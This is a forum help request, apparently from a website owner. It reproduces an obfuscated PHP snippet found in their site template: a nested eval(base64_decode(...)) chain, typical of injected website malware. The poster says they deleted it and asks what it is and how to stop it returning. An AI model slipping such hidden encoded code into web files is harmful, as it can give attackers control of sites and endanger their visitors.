Sorry, I found this in the early hours of today after much searching:
Code:

<?echoeval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJm
WkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBoVjBad2IxbHJUbTlo
Vm14WlZHMTRUMkZzU20xWGEyUlhZVzFKZVZWdGVFeFJNSEJvVmpCYWQySXhiSEpVYlRsb1ZtMTRXbFpI
TVRSVU1rWnpVMjB4V0dFeVVsaFpWekZLWlZaV2RHVkZlRkpOU0VKdlZtcENZV1F5U1hoaVNFcFZZbFJz
YjFadE1UUlhiRnBJVFZSU1ZVMXJXbnBWTWpCNFYwZEZlVlZzYUZwV2VrWkxXbFphVjJSSFZrWmxSa3BP
VTBWS1ZWWnNaSGRUTURWR1RWWmtZVkpzV2xWWlYzaExWREZhZEU1VlRsUldiSEI2VjFod1YxWkhTbFpq
Um14WVlXczFjbGRXV2t0WFIwWkdWR3hXYVZkR1JYZFdSM2hXVGxaa1JrNVdhRk5pUjJoVVdWUk9RMDFz
V1hoYVJFSm9UVVJXU1ZaR2FITlZNa3BJWVVaQ1YwMUdXak5aTVZwM1ZqRldjMXBIZEU1V00yZDNWa1ph
YTFJeVJYbFNXSEJoVWtaYWFGWnNaRzlTUm14WFdrVjBXRlpzV25oV01uaFhWa1pPUmxOcmFGZFNiRnBY
Vkd4YVMxSnJOVmRXYkVwcFYwZG9WbFpYTVRCV01ERnpXa1prV0dKVWJGTlpXSEJ6VmpGc2NtRkZUbFZO
Vld3MlZsZDRhMWRzV2taWGJXaFhVa1ZhYUZWc1drdGpNVkp6Vkcxc1UwMXNSalpXYkdONFRVWlplRlpZ
YUZSaWEzQndWV3RXWVZaV1duRlRhbEpvVW0xNGVGVXlkSGRpUjBwSFUyNW9WbFl6YUVoV2JYTjRVMGRS
ZW1GR1drNWliRXBaVjFkd1IxbFdXWGhhU0VwaFVtdHdjRlp0TlVOV2JGcFlaVVpPYWsxV2NGaFdNalZM
VmxkS2NtTkdRbUZXYkZwNldrUkdUbVZHVm5WalJrWldUVWQ0TTFWNlJsTmxiRUpVVTFoQ1RGWklUVGxK
YVd0d1QzYzlQU0lwS1RzPSIpKTs="));?>

which I didn't recognise in my template's code so I deleted it and it appears to have got rid of the issue for the time being. Any idea what it is, where it might have come from and whether there is anything I can do to stop it from coming back?